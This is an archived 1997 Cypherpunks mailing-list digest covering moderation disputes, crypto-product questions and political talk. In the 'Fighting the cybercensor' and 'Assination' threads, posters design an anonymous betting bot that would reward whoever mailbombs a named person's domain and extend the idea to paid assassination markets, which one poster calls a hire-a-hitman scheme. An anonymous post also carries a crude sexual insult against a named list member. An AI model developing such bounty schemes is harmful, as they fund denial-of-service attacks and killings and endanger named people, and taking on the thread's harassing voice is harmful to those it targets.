 As you can see above, I have enhanced your posting so that it more
closely conforms to the beliefs that my paid-for part of the net was
set up to espouse.

Toto





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 26 Jan 1997 17:30:33 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Rejection policy of the Cypherpunks mailing list
Message-ID: <8Z161D74w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


paul@fatmans.demon.co.uk writes:
>
> > > > My perfectly crypto-relevant article regarding possible attacks
> > > > on human relationships with the use of forged mail and anonymous
> > > > remailers, has been tossed out (sorted) into cypherpunks-flames
> > > > mailing list.
> > >
> > > I don`t think I read the article (even though I subscribe to the
> > > unmoderated list), can you forward me a copy.
> > > As I understand it though, from other comentaries, it was junked
> > > because it was in response to a message by Dimitri who, given that it
> > > is Sandy that is moderating the list, is no doubt filtered by
> > > different criteria than anyone else on the list, in my opinion a
> > > censorous and fascist restraint as Dimitri has recently been posting
> > > more crypto relevant material, besides which whatever the content of
> > > his posts they should be open to review before a decision is made on
> > > if they are to be junked or not.
> >
> > Has Paul reversed his previous pro-censorship stand and decided to
> > learn something about crypto from people who actually know some?
>
> There is no change of stance needed, I happen to believe you are
> knowledgable about cryptography and sometimes post worthwhile
> commentary and information, however, you also post a lot of dreck and
> flammable material which means I respond in kind. That does not mean
> I believe you, or anyone else, should be censored.

I distinctly recall how Paul used to call for censoring me. If he's
changed his mind and really doesn't think that anyone should be censored,
it's a welcome development - even if it was brought on by the sandfart
censoring Paul.

> > > > Sandy also states rather plainly that crypto-relevance is not the
> > > > criterion by which he moderates this list. I question this policy.
> > >
> > > Yes Sandy, please enlighten us, what is the criterion you use to
> > > moderate the list if not crypto-relevancy. I suspect an element of
> > > self preservation and protection of the list fuhrer and diktat maker
> > > John Gilmore (who, until the disgraceful incident with Dimitri
> > > commanded some respect on this list).
> >
> > I used to respect Gilmore until this series of incidents (unsubscribing
> > me, turning list moderated).  Now I only have disdain for him.
>
> I agree entirely, Gilmore was a respected man (despite the EFF being
> a corporate whore) who threw any respect and admiration others had
> for him away.

I wonder what he thinks he got in exchange...

> > > > I would like to hear your opinions as to whether such policies satisfy
> > > > the current readership.
> > >
> > > I don`t think this is the point, John Gilmore is free to appoint
> > > whoever he wants to moderate his list, he is free to censor all
> > > messages which criticise him and his censorship, however, subscribers
> > > to the list should be told they are being censored on these grounds
> > > and not on some facade of "crypto relevancy" or another thin veil
> > > drawn weakly over content based censorship to protect a certain class
> > > of list members.
> >
> > Quite a few people have expressed interest in re-creating an unmoderated
> > cypherpunks list at another site if Gilmore decided to stick to his
> > "moderation experiment".
>
> I notice and appreciate the quotes around "moderation experiment",
> this is, without doubt, a permenant measure to silence members of the
> list who dare to offer criticism of anyone an element of {x: x a
> friend or co-censor of John Gilmore}

Yes - clearly the personality of the submitter is the most important
factor in moderator's rejections, not even the content.

> I do not have the resources to run such an unmoderated list but I
> hope someone on this list does and is good enough to start such a
> list, cypherpunks is a shell of what it once was.

I notice that the sandfart has been challenging his enemies to create
an alternative mailing list. I wonder what their contingency plan is.
Without a doubt, such a competing list would be mailbombed and flooded
with garbage by Gilmore and his entourage. What else?

> Also, please note this message will be junked onto cypherpunks-flames
> even though it contains no flames or flame bait because it dares to
> criticise the censorship of the list (once again Sandy, I give you an
> opportunity to prove me wrong).

The sandfart has proven me right already. As I said, I think we're
paying too much attention to him and his censorship, and he's just
a front for Gilmore anyway.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Howard Campbell <woody@hi.net>
Date: Sun, 26 Jan 1997 22:07:59 -0800 (PST)
To: cypherpunks@toad.com
Subject: re: fighting the cybercensor
Message-ID: <199701270611.UAA04805@pohaku.hi.net>
MIME-Version: 1.0
Content-Type: text/plain






A recent publication "The Sovereign Individual"('97) discusses many of the issues discussed on Cypherpunks. The authors, James Dale Davidson and Lord William Rees-Mogg, sketch the likely totalitarian  scenarios that will emerge in the coming years. Just as we see every day in the media, they predict that we ain't seen nothing yet when it comes to the attempts to regulate cyberspace, cryptography,  and the content of online information. Portraying cellular phone triangulation as a public health concern, etc.,  are just the beginning. 
The authors also  paint a bleak picture for blanc's  'True Believer' types. They will continue to be milked "as a farmer milks his cows" while those with  techno-savvy and  'extranational' savoir faire will  grow wings and take their wealth and marketable skills to other jurisdictions where predatory taxmen and arbitrary civil forfeiture laws don't exist. 
The book is sort of Toffleresque, but written better and full of historical parallels that help the reader to understand social upheavals of the past and  how the demise of failing contemporary institutions are likely to affect Joe windowz95. 
Example: chapter 4- "The Last Days of Politics: Parallels Betwen the Senile Decline of the Holy Mother Church and the Nanny State".

aloha,
wc




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 26 Jan 1997 17:40:21 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Rejection policy of the Cypherpunks mailing list
In-Reply-To: <199701270039.SAA01662@manifold.algebra.com>
Message-ID: <qN261D76w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


cypherpunks-errors@toad.com writes:

> Dale Thorn wrote:
> > 1. The subscribers have spoken by staying put, or,
> > 2. The subscribers are so lazy and unaware of what's going on that
> >    they've just left things as is.
>
> > Now, in my opinion, we've come to this:  Some people here will hold
> > the optimistic view of the bulk of the subscribers, and others will
> > hold the pessimistic view (the bulk will presumably be in-between).
>
> In case of 2, they are probably not worthy of your help.

I wholeheartedly agree.  By now everyone's painfully aware that there
are 3 mailing lists.  It's not my responsibily (or Dale's) to encourage
cypherpunks subscribers to do what I think is best for them - resubscribe
to cypherpunks-unedited.  Folks who choose to let Sandy choose what they
read and don't read should be free to do that.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: satan_is_a_hacker@juno.com (Lou Zer)
Date: Sun, 26 Jan 1997 17:22:58 -0800 (PST)
To: cypherpunks@toad.com
Subject: Text files
Message-ID: <19970126.202040.12382.0.SATAN_is_a_HACKER@juno.com>
MIME-Version: 1.0
Content-Type: text/plain


ho was the one who wanted a list of my texts? I deleted the message
accidentally




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 26 Jan 1997 18:00:15 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Text files
In-Reply-To: <19970126.202040.12382.0.SATAN_is_a_HACKER@juno.com>
Message-ID: <uV261D77w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


satan_is_a_hacker@juno.com (Lou Zer) writes:

> ho was the one who wanted a list of my texts? I deleted the message
> accidentally

Just post it to the whole mailing list. :-)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 26 Jan 1997 18:00:32 -0800 (PST)
To: cypherpunks@toad.com
Subject: RE: Fighting the cybercensor
In-Reply-To: <199701270100.RAA21027@mail.pacifier.com>
Message-ID: <Vw261D78w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


jim bell <jimbell@pacifier.com> writes:
>
> Look, I've proposed what I consider to be a remarkably consistent method to
> prevent the kind of political tyranny that you criticize, and I don't see
> any recognition of this fact.

I said many times that I find AP a very interesting notion, worthy of study.
Given how fast online gambling is growing, how soon do we have to wait for
a web site for taking bets on deaths of politicians and other prominents?
Why not set one up, using "funny money" not convertible to anything?

> For the benefit of the masses, the AP ("Assassination Politics") solution
> to, for example, the Iraq problem would be to allow anyone and everyone in
> the world to donate money towards the death of Saddam Hussein, and any
> leadership which survives him, until that leadership satisfies the public
> that they won't be following in Hussein's footsteps.  Simple.  Economical.
> And, dare I say it, fair.

I have much respect for Saddam Hussein. I understand he's more admired by
Iraqi people than, say, the kkklintons are by American people. Saddam even
commands the respect of his Iranian enemies.

> I believe that the Coalition spent $60 BILLION dollars doing the Iraq war,
> and they didn't even get rid of Saddam.  I'm sure AP would have done the
> task for under $100 million, and possibly far less. (and that money would
> have been collected by donation, not stolen in taxes.  Much of that money
> would have come from the Iraqi people themselves, BTW.)

I doubt that they would collect much among the Iraqis: both because Saddam
is pretty popular, and because they don't have much cash, thanks to the
sanctions. I doubt they'd collect billions or even millions in the Western
countries. These were involuntary taxes. Do people really hate Saddam so
much as to bet that he'll live and hope to lose their bets to an assassin?
I doubt it. And you can't do the standard fundraising trick of collecting
some funds, then using them to run media ads soliciting more funds.

I suppose Kiwaiti and Saudi sheikhs might bet a few million.

(I hate these guys - I'd like to bet on the continuing existence of a
basket of sheikhs :-)

>  There would be few if any civilian casualities, no hunger or poverty caused
> among the people.  Even their soldiers would be relatively unaffected,
> except that their militaries (as well as ours) would be disbanded.
>
> Reminds me of the punchline to that joke.
>
> "He sent two boats and a helicopter!  What more did you want?!?"

Was it really Bush's goal to topple Saddam's government and bring in
a U.S.-friendly one that would need billions of dollars of aid?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Nurdane Oksas <oksas@asimov.montclair.edu>
Date: Sun, 26 Jan 1997 17:31:08 -0800 (PST)
To: "Igor Chudov @ home" <ichudov@algebra.com>
Subject: Re: overview.htm (fwd)
In-Reply-To: <199701270041.SAA01716@manifold.algebra.com>
Message-ID: <Pine.SOL.3.93.970126202135.24614A-100000@pegasus.montclair.edu>
MIME-Version: 1.0
Content-Type: text/plain




On Sun, 26 Jan 1997, Igor Chudov @ home wrote:

> Nurdane Oksas wrote:
> > 	i think it's good also to exercise outdoors as well as your
> > 	indoor nordictrack machines..sun and air is esp. necessary;
> 
> but remember, tanning will kill ya.
	
	Yes it will; Not a fan of tanning myself...it also causes lots
	of skin problems, have seen women age too soon tanning;

	we don't go outside naked here in NorthEast...do remember;


	love,

	oksas!	
	





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Frank Willoughby <frankw@in.net>
Date: Sun, 26 Jan 1997 17:35:50 -0800 (PST)
To: cypherpunks@toad.com
Subject: WinKrypt
Message-ID: <9701270133.AA20096@su1.in.net>
MIME-Version: 1.0
Content-Type: text/plain


Out of curiosity, is anyone familiar with WinKrypt by Syncronsys?

I picked up a copy & there is no mention in the documentation which
encryption algorithm it uses & what the key lengths are. FWIW, my 
impression is that the documentation seems to deliberately avoid
mentioning the algorithm/key lengths.  Hmmmm.  (food for thought)

I was curious how it compares to McAfee's PC Crypto which uses 
40-bit DES or 160-bit Blowfish (user-chooses) & other PC/laptop
encryption products.  BTW, I would also appreciate your input 
on any crypto products which you believe to be robust, easy-to-use 
& secure.  (I know I can only have 2 out of 3, but it's worth a try 
anyway).  8^)  

Please send marketing info to me directly at: frankw@in.net and 
**NOT** to the entire mailing list.

(BTW, I mentioned WinKrypt & PCcrypo because they are the only
two which are available at many computer stores as COTS s/w).

TIA for your help.

Best Regards,


Frank





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Martin Minow <minow@apple.com>
Date: Sun, 26 Jan 1997 20:44:42 -0800 (PST)
To: cypherpunks@toad.com
Subject: Xerox is watching you
Message-ID: <v03010d01af11df1ebe38@[17.219.102.18]>
MIME-Version: 1.0
Content-Type: text/plain


You'll find an article worth a visit to the dentist in the January
1997 issue of Popular Science. It tells a story from the 1960's
cold war era.

It seems that the only American who could get into the Soviet
Embassy was the Xerox repairman. So the CIA and Xerox built
a camera that took a picture of every copy that could be installed
inside the 914 cabinet (where it would be invisble). Once a month,
the repairman came by to do the ordinary cleaning and repair
(those things broke down a lot). Part of the repair process exchanged
the camera for a fresh load. The CIA could then read everything that
was copied.

The article suggests that other Xerox models had their own
cameras. My back of the envelope (literally) computation suggests
that one roll of 8-millimeter film would hold about 30,000 images.

Martin Minow
minow@apple.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sun, 26 Jan 1997 19:33:47 -0800 (PST)
To: Ross Wright <rwright@adnetsol.com>
Subject: Re: (Fwd) Just Say No to Telcom "Reform"
In-Reply-To: <199701270100.RAA01704@adnetsol.adnetsol.com>
Message-ID: <32EC30E2.625D@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Ross Wright forwarded:
 
> President Clinton and Congress promised the American people that
> enactment of the Telecommunications Reform Act would lead to a
> cornucopia of technological innovations that would change the nation's
> cultural frontiers, expand our choices, dazzle our eyes, and inform
> our minds.  Instead, we've been censored in cyberspace, subjected to
> TV ratings systems, and prevented from experiencing the benefits of a
> truly competitive marketplace by the emergence of "cartels" created by
> mega-mergers in the telecommunications and media industries.

  Surprise, surprise!
 
> This is not reform!  And it's not too late to demand that our decision
> makers deliver on what they promised us on February 8, 1996:

  Yes it is.
  Nobody in politics gives up the ground they've gained. The fact that
they were able to hose the citizens the first time around only 
reinforces their certainty that they can continue to do so.
  While people are still fighting the earlier, lost battles, they are
preparing for the next one.
  I fully support anyone who wants to continue to fight past battles,
present battles, and future battles, on the level of surface politics.
But I think that their efforts are most effective if they add the
tools and weapons developed by the underground to their battles.
  Let them know that if they want to censor you, they will have to
censor your 'strong' crypto. Even if you choose to fight by showing
up with your gun on your hip, at high-noon, it still doesn't hurt to
have one tucked in your boot, as well.

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sun, 26 Jan 1997 19:35:33 -0800 (PST)
To: dthorn@gte.net
Subject: Re: Fighting the cybercensor
In-Reply-To: <01BC0B90.0B78E600@king2-16.cnw.com>
Message-ID: <32EC38BC.5511@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Dale Thorn wrote:
 
> How does one country get on top and terrorize the whole world?  By
> following Tom Wolfe's intimation concerning the pirates: "The people
> on the East coast were constantly victimized because they couldn't
> comprehend just how vicious and ruthless the pirates really were"
> (quote approximate).

Dale,
  When I read posts like this, I wonder how any rationally thinking
person can possibly believe that socio/politico concerns have no
place in the discussion of crypto.
  It is my belief that many of the more atrocious acts being performed
against the citizens by various governments are made possible by the
fact that there are so few people who recognize a 'pirate' when they
see one.
  While I appreciate that there are those who may be furthering the
cause of crypto, privacy and freedom through official channels, the
controlled media, and such, there needs to be a forum in which 
people are free to use what they consider to be the 'correct'
terminology to refer to those who have usurped democracy in order
to control the citizens for their own personal profit.
  i.e. 'Pirates'

Toto





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sun, 26 Jan 1997 19:19:07 -0800 (PST)
To: dthorn@gte.net
Subject: Re: overview.htm (fwd)
In-Reply-To: <32EC1422.6E70@gte.net>
Message-ID: <199701270315.VAA00323@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Dale Thorn wrote:
> 
> BTW, if y'all can't stay away, I have a list of So. Cal. nude beaches,
> approx. 3 years old.
> 

would appreciate

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sun, 26 Jan 1997 19:23:03 -0800 (PST)
To: oksas@asimov.montclair.edu (Nurdane Oksas)
Subject: Re: overview.htm (fwd)
In-Reply-To: <Pine.SOL.3.93.970126215505.25337B-100000@pegasus.montclair.edu>
Message-ID: <199701270316.VAA00352@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Nurdane Oksas wrote:
> 	California is know for very beautiful girls ... 

wrong.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 26 Jan 1997 19:30:27 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Fighting the cybercensor
In-Reply-To: <199701270207.UAA00452@manifold.algebra.com>
Message-ID: <TF561D82w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


ichudov@algebra.com (Igor Chudov @ home) writes:
>
> Jim, why don't you stop bullshitting and write a real assassination
> bot. [as a beta, it can be a mailbombing bot] This bot would:

I think this would be a very good demo project, but mailbombing may not
be the best choice...

> 1) Accept bets as combinations of
> 	a) Some amount of cybercash

Be careful about violating Chaumian patents... How about using funny
money in the prototype? Or, look at some of the micropayment schemes.

> 	b) A string that identifies an event that should happen
> 	   such as "domain X is mailbombed"

Not a good idea (see below).

> 	c) [optional] date of that event (no date means that you always
>            lose)

I think the date must always be specified, and the event must occur
(or not occur) on or before that date.

> 	d) Return address (possibly a nym address) to send
> 	   all cash from UNSUCCESSSFUL bets for the event in
> 	   question.
> 	e) [optional] time limit after which the cash will be refunded.
>
> Note that for simplicity, the bot should identify the event as
> a unique string, without any understanding of any semantics of that
> string.

I think we should think about the kinds of events that a 'bot can verify.

> 2) Store these bets in a database.
>
> 3) Have a trusted party (someone really honest, like myself) report to
> the bot the signed strings that, in the opinion of the trusted party,
> are "true".

Why not start with a less destructive event... For example,
"on or before <date> a Usenet article will appear in newsgroup X
saying Y".  That's something the 'bot can verify and anyone with
access to dejanews and the like can confirm. Eliminating the need
for a trusted human is always desirable.

> 4) Upon receipt of such event notifications, the bot will find all bets
> and forward them to the better whose date prediction was the closest.
> If several betters predicted the same date, the money is split between
> them in proportion to the amount of moneys submitted.

Have you ever dealt with a bookie?

I think there need to be two distinct operations:

1. A user can create a new kind of event. For a fixed fee F, one can enter
a new event into the table of events that can be bet on. (In a more
generalized system, the creator might also specify the third party that
determines whether or not the event took place.)

A human bookie decides which events can be bet on (based mostly on the
tradition and supply/demand). Here we let users bet on anything they
want as long as they're willing to may be bookiebot for keeping track
of who bet how much $ that the event will or will not happen.

In fact, when creating an event, the user must immediately bet an amount
>$F and the house enters an opposing bet for $F (or slightly less).

2. A user can bet $B that an existing event will/will not happen.
Bookiebot accepts the $B and promises to pay back an amount that's a
function of $B and the current amounts bet so far on yes and no
(or escrows the winning with a 3rd party).

I'll let Jim et al figure out how to compute the odds when there are
offsetting bets for the same event at two different times.
E.g. E1:"Saddam Hussen will die before April 1" and E2:"ditto June 1"; if the
first one occurs, then the second one occurs too. If a lot of money is
bet on E1, it should somehow affect E2 odds too. Also the bookiebot
should never lose money no matter what the outcome; all the winnings
should come from the losers' bets.

> Examples of use: Suppose I do not like The Right Reverend Colin James III,
> cjames@cec-services.com. I have a lot of money, but do not know how to
> mailbomb. I set some nym address as my return address (for refunds if
> CJ3 is not mailbombed within half a year).
>
> I place a bet with $1000 worth of money and phrase "domain cec-services.com
> disabled". The date would be open which means that I will always be the
> loser. I also post a message (anonymously) saying that anyone who wants
> to mailbomb TRRCJ3 can be rewarded through your assassination bot.

Here's an improved scenario. Say I pay the bot $10 to create the event
"a homophobic article will appear in soc.motss by April 1".
Then I bet $1000 that the event will NOT occur to skew the odds.

> Someone with more knowledge of computers, a T1 link and no money will
> be lured, submit a bet for, say, Feb 1, and on the 1st will start fierce
> mailbombing of cec-services.com. The return address will, of course, be
> a nym.

Someone looking to make a quick buck browses through the list of events
and odds in the bookiebot and sees the very skewed odds for a homophobic
article on soc.motss. He bets a small amount that the article will appear,
so he gets really good odds. Then he posts an article that's recognized
as the event, and collects a winning much larger than his bet.

But if this doesn't happen, I get almost all of my $1000 investment back.
In either event the bookiebot made a small profit for its owner.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bovine Remailer <haystack@holy.cow.net>
Date: Sun, 26 Jan 1997 18:48:45 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199701270230.VAA08735@holy.cow.net>
MIME-Version: 1.0
Content-Type: text/plain


The only `culture' Timothy `C' May 
possesses is that cultivated from his 
foreskin scrapings.

            o      o o o   o
           /~>    <><><>   <> Timothy `C' May
        o...(\    ||||||   ||





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Nurdane Oksas <oksas@asimov.montclair.edu>
Date: Sun, 26 Jan 1997 18:31:41 -0800 (PST)
To: "Igor Chudov @ home" <ichudov@algebra.com>
Subject: Re: Fighting the cybercensor
In-Reply-To: <199701270207.UAA00452@manifold.algebra.com>
Message-ID: <Pine.SOL.3.93.970126212732.25337A-100000@pegasus.montclair.edu>
MIME-Version: 1.0
Content-Type: text/plain


On Sun, 26 Jan 1997, Igor Chudov @ home wrote:
[...] 
> Examples of use: Suppose I do not like The Right Reverend Colin James III,
> cjames@cec-services.com. I have a lot of money, but do not know how to 
> mailbomb. I set some nym address as my return address (for refunds if
> CJ3 is not mailbombed within half a year).
> 
> I place a bet with $1000 worth of money and phrase "domain cec-services.com
> disabled". The date would be open which means that I will always be the
> loser. I also post a message (anonymously) saying that anyone who wants
> to mailbomb TRRCJ3 can be rewarded through your assassination bot.
> 
> Someone with more knowledge of computers, a T1 link and no money will
> be lured, submit a bet for, say, Feb 1, and on the 1st will start fierce 
> mailbombing of cec-services.com. The return address will, of course, be
> a nym.

	That's my birthday...

	have a great week ahead everyone!







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Nurdane Oksas <oksas@asimov.montclair.edu>
Date: Sun, 26 Jan 1997 18:59:11 -0800 (PST)
To: Dale Thorn <dthorn@gte.net>
Subject: Re: overview.htm (fwd)
In-Reply-To: <32EC1422.6E70@gte.net>
Message-ID: <Pine.SOL.3.93.970126215505.25337B-100000@pegasus.montclair.edu>
MIME-Version: 1.0
Content-Type: text/plain




On Sun, 26 Jan 1997, Dale Thorn wrote:

> Nurdane Oksas wrote:
> > On Sun, 26 Jan 1997, Igor Chudov @ home wrote:
> > > Nurdane Oksas wrote:
> > > >     i think it's good also to exercise outdoors as well as your
> > > >     indoor nordictrack machines..sun and air is esp. necessary;
> 
> > > but remember, tanning will kill ya.
> 
> >         Yes it will; Not a fan of tanning myself...it also causes lots
> >         of skin problems, have seen women age too soon tanning;
> >         we don't go outside naked here in NorthEast...do remember;
> 
> The real babes in So. Cal. go to tanning salons. That way the evenly-
> distributed tan looks best with, say, a pure white bikini.  You can
> go to the beach, of course, and hang out with the hoi polloi, but
> it's mostly kids with pimples and stuff.

	i don't see why she would wear a bikini if she already is tan.
	She just goes to show off right???  California is know for
	very beautiful girls ... 
	I like the pale look :)
> 
> BTW, if y'all can't stay away, I have a list of So. Cal. nude beaches,
> approx. 3 years old.

	only if you join us .. ;)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sun, 26 Jan 1997 20:07:07 -0800 (PST)
To: cypherpunks@toad.com (Cypherpunks)
Subject: Assination
In-Reply-To: <TN861D86w165w@bwalk.dm.com>
Message-ID: <199701270404.WAA00777@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Dr.Dimitri Vulis KOTM wrote:
> Dale Thorn <dthorn@gte.net> writes:
> > > Given how fast online gambling is growing, how soon do we have to wait for
> > > a web site for taking bets on deaths of politicians and other prominents?
> > > Why not set one up, using "funny money" not convertible to anything?
> >
> > If AP could really work, and AP is enabled by strong p-k crypto,
> > that fact alone would justify the Washington boys doing *everything*
> > in their power to stop *real* crypto (i.e., no back doors).
> 
> But they can't; and their efforts (ITAR, EAR, et al) are totally irrelevant
> and ineffective and not worth the time people spend fighting them.
> 
> A prototype AP betting server, first limited to very innocent events (like
> usenet postings containing certain regexps) and using "funny money" for bets,
> would be a good demo.

I have a feeling that you are missing the point. The point of AP 
is not to bet on whether a certain event will occur or not. The point 
is that only a person who really makes it happen (assassinates someone)
will know enough to get the money.

All other betters who do NOT intend to bring the event about will
expect to lose money, because they will not be able to make a
sufficiently good prediction.

It is not a bookie system, it is a collective anonymous hire-a-hitman 
scheme.

Yuor suggestion about trying a demo about homophobic posts is good, BUT
what needs to be added to make it a good demo is a danger for the poster
to lose an account. I.e., the requirement to such a homophobic post should
be that 1) it should be PGP signed by a real person and 2) it should 
have a correct return address.

Any fool can send an anonymous message, and that would have no 
educational value and no value for the AP demo.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sun, 26 Jan 1997 20:14:49 -0800 (PST)
To: cypherpunks@toad.com (Cypherpunks)
Subject: Re: Jim Choate Speaks Out on My Part of the Net (fwd)
In-Reply-To: <199701270430.WAA02102@einstein>
Message-ID: <199701270410.WAA00864@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Jim Choate wrote:
> 
> 
> Forwarded message:
> 
> > Date: Sun, 26 Jan 1997 20:07:57 -0800
> > From: Toto <toto@sk.sympatico.ca>
> > Subject: Jim Choate Speaks Out on My Part of the Net
> > 
> > Jim Choate wrote:
> 
> > > If you really and truly believe that the net belongs to everyone and nobody
> > > has a right to limit or otherwise control the hardware and software along
> > > with the associated comm links they own and pay for then you obviously don't
> > > understand what is going on.
> 
> > > For instance, since Toto pays for the hardware and software that comprises
> > > his part of the net, he is free to limit, control, and edit for content,
> > > anything that passes through his part of the net.
> > > Although I sometimes disagree with Toto because of my limited ability to
> > > understand things on a conceptual level, his rugged good looks, charm,
> > > and superior intelligence show that he should be allowed to control his
> > > own privately owned part of the net and anything that passes through it.
> > 
> > >                                                  Jim Choate
> > >                                                  CyberTects
> > >                                                  ravage@ssz.com
> > 
> > Jim,
> >  Thank you for your support in my efforts to exert supreme control over
> > the part of the net that I have paid for.
> >  I am sure that you will continue to fight for the right of myself and
> > the government of Singapore to use that control for whatever purpose
> > they choose.
> >  As you can see above, I have enhanced your posting so that it more
> > closely conforms to the beliefs that my paid-for part of the net was
> > set up to espouse.
> 
> Are you aware that attributing statements in print to a party when that
> party did not write them is a crime?

cite the statute

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sun, 26 Jan 1997 21:12:42 -0800 (PST)
To: Jim Choate <ravage@EINSTEIN.ssz.com>
Subject: Re: Internet, Countries, Nationalism, etc.
In-Reply-To: <199701261751.LAA00526@einstein>
Message-ID: <32EC4818.6055@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Jim Choate wrote:

> You can take a horse to water, you can't make him drink. You can drown him
> however. Then you are walking, not riding.

  Thanks for clearing this up for us, Jim.
  I know that a lot of CypherPunks have been wondering about this,
and many others as well. Hopefully, it will be posted on many
conferences to enlighted others, as well.

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: blanc <blancw@cnw.com>
Date: Sun, 26 Jan 1997 22:52:51 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: RE: Fighting the cybercensor
Message-ID: <01BC0BDC.334C99A0@king1-05.cnw.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	jim bell (in response to Dimitri Vulis')

Look, I've proposed what I consider to be a remarkably consistent method to 
prevent the kind of political tyranny that you criticize, and I don't see
any recognition of this fact.
........................................................

1) Jim, why do you insist on discussing this on an forum for encryption?
2) Why do you suppose the Iraqis haven't already thought of doing this 
themselves?
3) The Mafia uses this method all the time - why then haven't they achieved 
a more rational society among themselves?
4) Weren't governments (like the U.S.) instituted to prevent this sort of 
thing (even if they don't work out as expected)? i.e., there were systems 
of courts and lawyers and such instituted to openly deal with "criminal" 
activity so that a) people could receive assistance against low-life 
degenerate killers, and b) it could be proven that the accused were indeed 
deserving of punishment.

Humans being what they are, this hasn't worked like it's supposed to, but 
the point is that there is a reason why such ideas for systems of justice 
were introduced in the first place.   That reason, as I eloquently read in 
a book, was "So That Reason May Live".  That is, so that people who choose 
to live in a "society" may do so by the method of solving problems through 
the application of intelligence, rather than merely knocking each other off 
because a voting majority decides they don't like someone.

Destructive people often ascend to positions of power not simply because 
they are ruthless, but because they have 1) many sycophantic followers and 
2) many ignorant, vulnerable people unable to prevent it.  You might be 
able to kill off  one Saddam, but potentially many others would be waiting 
in the wings to take his place.   The situation surrounding the existence 
of someone like Saddam is part of the contributing factors which keeps him 
there, not simply that one man himself.  It was the same with Hitler and 
with so many others  -  they don't just have an excess of  "power" 
concentrated within themselves which puts them in positions of control over 
others  - there will have been many people who will have helped put them 
there, expecting to derive benefits from it.

And what will be done about all those people who made this "power" 
possible?  You don't just kill the one man and be done with it - you have 
to also "kill" the conditions which maintained him.

    ..
Blanc
  





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: blanc <blancw@cnw.com>
Date: Sun, 26 Jan 1997 22:53:29 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: RE: Jim Choate Speaks Out on My Part of the Net
Message-ID: <01BC0BDC.389300C0@king1-05.cnw.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	Toto

Jim Choate wrote:
> For instance, since Toto pays for the hardware and software that comprises
> his part of the net, he is free to limit, control, and edit for content,
> anything that passes through his part of the net.

> Although I sometimes disagree with Toto because of my limited ability to
> understand things on a conceptual level, his rugged good looks, charm,
> and superior intelligence show that he should be allowed to control his
> own privately owned part of the net and anything that passes through it.
..........................................................


I believe it, Jim.

   ..
Blanc







